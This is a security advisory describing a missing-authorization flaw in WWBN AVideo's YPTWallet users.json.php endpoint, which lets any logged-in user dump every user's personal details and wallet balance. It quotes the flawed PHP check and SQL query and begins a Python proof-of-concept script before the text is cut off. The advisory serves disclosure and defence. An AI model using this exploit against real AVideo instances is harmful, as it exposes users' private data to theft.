WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.

Affected: Packagist: wwbn/avideo

**Severity:** High **CWE:** CWE-862 (Missing Authorization)

### Summary

The `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.

### Details

The authorization check at `plugin/YPTWallet/view/users.json.php:8`:

```php if (!User::isLogged()) { die("Is not logged"); } ```

The query in `YPTWallet::getAllUsers()` selects all columns from both tables:

```php $sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u " . " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 "; ```

The `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.

Other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.

### Proof of Concept

```python import requests

TARGET = "https://your-avideo-instance.com"

# Step 1: Login as any regular (non-admin) user session = requests.Session() session.post(f"{TARGET}/objects/login.json.php", data={ "user": "regular_user", "pass": "regular_password" }…